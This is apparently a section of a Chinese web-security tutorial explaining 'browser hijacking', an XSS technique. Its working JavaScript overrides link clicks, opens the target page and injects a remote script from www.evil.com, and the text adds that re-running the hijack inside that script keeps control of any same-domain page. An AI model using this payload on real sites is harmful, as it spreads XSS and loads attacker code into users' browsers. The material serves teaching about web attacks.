返回介绍

7.5 浏览器劫持技术

发布于 2024-01-20 15:41:03 字数 959 浏览 0 评论 0 收藏 0

浏览器劫持技术是指通过劫持用户点击链接操作,在打开新窗口的时候注入攻击者的JavaScript脚本,以达到将XSS威胁延续到同域内的其他页面。

看下面的代码说明:

<body>
<!-- 劫持链接对象 -->
<a href="test1.html">test1.html</a><br />
<a href="test2.html">test2.html</a>
<script>
function script2obj(window_obj, src){
  s = window_obj.document.createElement('script');
  s.src = src;
  window_obj.document.getElementsByTagName('body')[0].appendChild(s)
}
function hijack_links(js){
  /*劫持链接点击,参数说明:
  js: 注入打开的同域链接页面的目标js文件*/
  for (i = 0; i < document.links.length; i++) {
    // 遍历链接对象,劫持onclick事件
    document.links[i].onclick = function () {
      x = window.open(this.href); // 获取打开新窗口的对象
      setTimeout("script2obj(x,'"+js+"')", 2000);
      // 延时2秒向打开的劫持链接对象的DOM树中注入alert.js文件
      return false;
    };
  }
}
hijack_links('http://www.evil.com/alert.js');
</script>
</body>

为了让这样的劫持继续下去,可以在alert.js中继续执行hijack_links,以达到在同域内对任意页面进行控制。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文